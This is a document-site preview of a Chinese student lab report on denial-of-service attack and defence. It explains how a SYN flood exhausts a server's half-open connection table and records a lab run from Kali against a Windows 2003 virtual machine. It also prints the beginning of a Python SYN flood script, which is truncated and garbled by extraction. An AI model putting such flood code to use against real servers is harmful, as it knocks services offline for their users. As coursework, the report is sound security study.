- 1、本文档共9页,可阅读全部内容。
- 2、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
- 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
- 5、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
- 6、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们。
- 7、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
- 8、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
《网络安全》实验报告
姓名 董玉平 (同组 ) 实验日期 2018 年 10 月 18 教师评定
实验二 拒绝服务攻击与防御
1. 实验目的
(1)理解拒绝服务攻击的基本原理和对应的检测技术
(2)掌握编程实现方法
2.实验内容
(1)使用Python 或C/C++语言,编写实现任意一种拒绝服务攻击程序
(2)使用Python 或C/C++语言,编写实现针对1 中攻击工具的专用检测程序
(3)同步测试所编写的攻击程序和专用检测程序,介绍测试方案、解释测试效
果,并分析攻击或检测程序的局限与改进
3.实验原理
SYN Flood 是分布式拒绝攻击的一种方式。原理为:TCP 连接的三次握手中,
假设一个用户向服务器发送了 SYN 报文后突然死机或掉线,那么服务器在发出
SYN+ACK 应答报文后是无法收到客户端的ACK 报文的(第三次握手无法完成),这
种情况下服务器端一般会重试(再次发送 SYN+ACK 给客户端)并等待一段时间后
丢弃这个未完成的连接。这段时间的长度我们称为SYN Timeout。如果有一个恶
意的攻击者大量模拟这种情况(伪造 IP 地址),服务器端将为了维护一个非常大
的半连接列表而消耗非常多的资源。即使是简单的保存并遍历也会消耗非常多的
CPU 时间和内存,何况还要不断对这个列表中的IP 进行SYN+ACK 的重试。实际
上如果服务器的TCP/IP 栈不够强大,最后的结果往往是堆栈溢出崩溃—— 即使
服务器端的系统足够强大,服务器端也将忙于处理攻击者伪造的TCP 连接请求而
无暇理睬客户的正常请求(毕竟客户端的正常请求比率非常之小),此时从正常客
户的角度看来,服务器失去响应。
4.实验内容
打开win2003 中的任务管理器
可见CPU 使用量很小
在win2003 中查看硬件地址和逻辑地址
分别为 00 :0C:29:7E:8C:F9 、192.168.48.132
在 Kali 中查看硬件地址和逻辑地址
分别为 00:0C:29:DF:C2:36 、 192.168.48.128
在win2003 中打开wireshark ,准备抓包
在 Kali 中运行文件 syn_flood.py
查看win2003 中的任务管理器
可见CPU 值升到100%
、
停止SYN 攻击
再次查看Windows 任务管理器,CPU 占用率恢复正常
停止抓包,查看抓包内容
攻击包都是由Kali 发出
攻击类型为:SYN
攻击源代码
#!/usr/bin/python
# -*-coding:utf-8-*-
import socket
import struct
import random
import threading
class myThread(threading.Thread):
def __init__(self, dstip, dstport, mode):
threading.Thread.__init__(self)
self.dstip = dstip
self.dstport = dstport
self.mode = mode
def run(self):
attack(self.dstip, self.dstport, self.mode)
def checksum(data):
s = 0
n = len(data) % 2
for i in range(0, len(data) - n, 2):
s += ord(data[i]) + (ord(data[i + 1]) 8)
if n:
s += ord(data[i + 1])
while (s 16):
s
您可能关注的文档
最近下载
- 2025年湖南省长沙市中考英语试卷及答案解析 .pdf VIP
- 徐州市中医院 中医推拿保健 颈椎病诊断与治疗-人体解剖.pptx VIP
- 水肥一体化灌溉系统应用技术规程.pdf VIP
- 辽宁省沈阳市第一二〇中学2023-2024学年高一下学期第一次月考数学试题及解析.docx VIP
- 吊板高空作业施工方案.docx VIP
- 2025年湖南省株洲市中考数学模拟试卷附答案.pdf
- 妇科术后深静脉血栓的预防护理.pptx VIP
- 徐州市中医院 中医推拿保健 推拿的应用范围及禁忌-推拿原则和治法.ppt VIP
- 《国际商法》教学大纲.docx
- 2024年北京电子科技职业学院高职单招职业技能测验历年参考题库(频考版)含答案解析.docx
文档评论(0)